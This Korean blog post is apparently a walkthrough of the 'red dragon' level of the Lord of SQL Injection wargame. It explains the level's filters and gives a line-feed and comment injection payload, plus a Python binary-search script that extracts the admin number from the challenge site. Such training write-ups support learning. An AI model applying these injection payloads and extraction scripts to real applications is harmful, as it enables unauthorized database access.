-
<Lord of SQL Injection> red dragonWargame/Lord of SQL Injection 2021. 11. 28. 15:07
GET 방식으로 전달받은 id에서 prob, _, .을 필터링한다.
그리고 전달받은 id의 길이가 7보다 크면 "too long string" 메시지를 출력한다.
전달받은 no가 숫자로만 이루어졌다면 전달받은 그대로 $no가 되고,
숫자가 아닌 다른 문자가 있다면 $no는 1이 된다.
select no from prob_red_dragon where id='admin' 을 수행한 결과의 no 값과
전달받은 no의 값과 타입이 모두 같으면 문제가 풀리게 된다.
?id=admin'%23을 입력하면
"Hello admin"을 출력한다.
참인지 거짓인지 구분하기 위해서 no에는 숫자만 입력해야 한다.
#(한줄 주석)을 사용해서 and no를 주석처리 하고 %0a(line feed)로 줄 바꿈을 하면
select id from prob_red_dragon where id=''||no>#
1
즉, ?id='||no>%23&no=%0a1을 입력하면
"Hello admin"이 출력된다.
no의 대략적인 범위를 구해보면
500000000<no<600000000의 범위를 가지는 것을 알 수 있다.
파이썬 코드를 이용해 no를 찾아보면
import requests baseurl = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php" cookies = {"PHPSESSID" : "PHPSESSID"} want_str = "<h2>Hello admin</h2>" start = 500000000 end = 600000000 while (start < end): mid = (start + end) // 2 url = baseurl + "?id='||no>%23&no=%0a{}".format(mid) print(url) res = requests.get(url=url, cookies=cookies) if want_str in res.text: start = mid + 1 else: end = mid print("no : ", start)
?id='admin'&no=586482014를 입력하면
문제를 해결할 수 있다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> frankenstein (0) 2021.12.01 <Lord of SQL Injection> blue dragon (0) 2021.11.29 <Lord of SQL Injection> green dragon (0) 2021.11.27 <Lord of SQL Injection> evil wizard (0) 2021.11.26 <Lord of SQL Injection> hell fire (0) 2021.11.25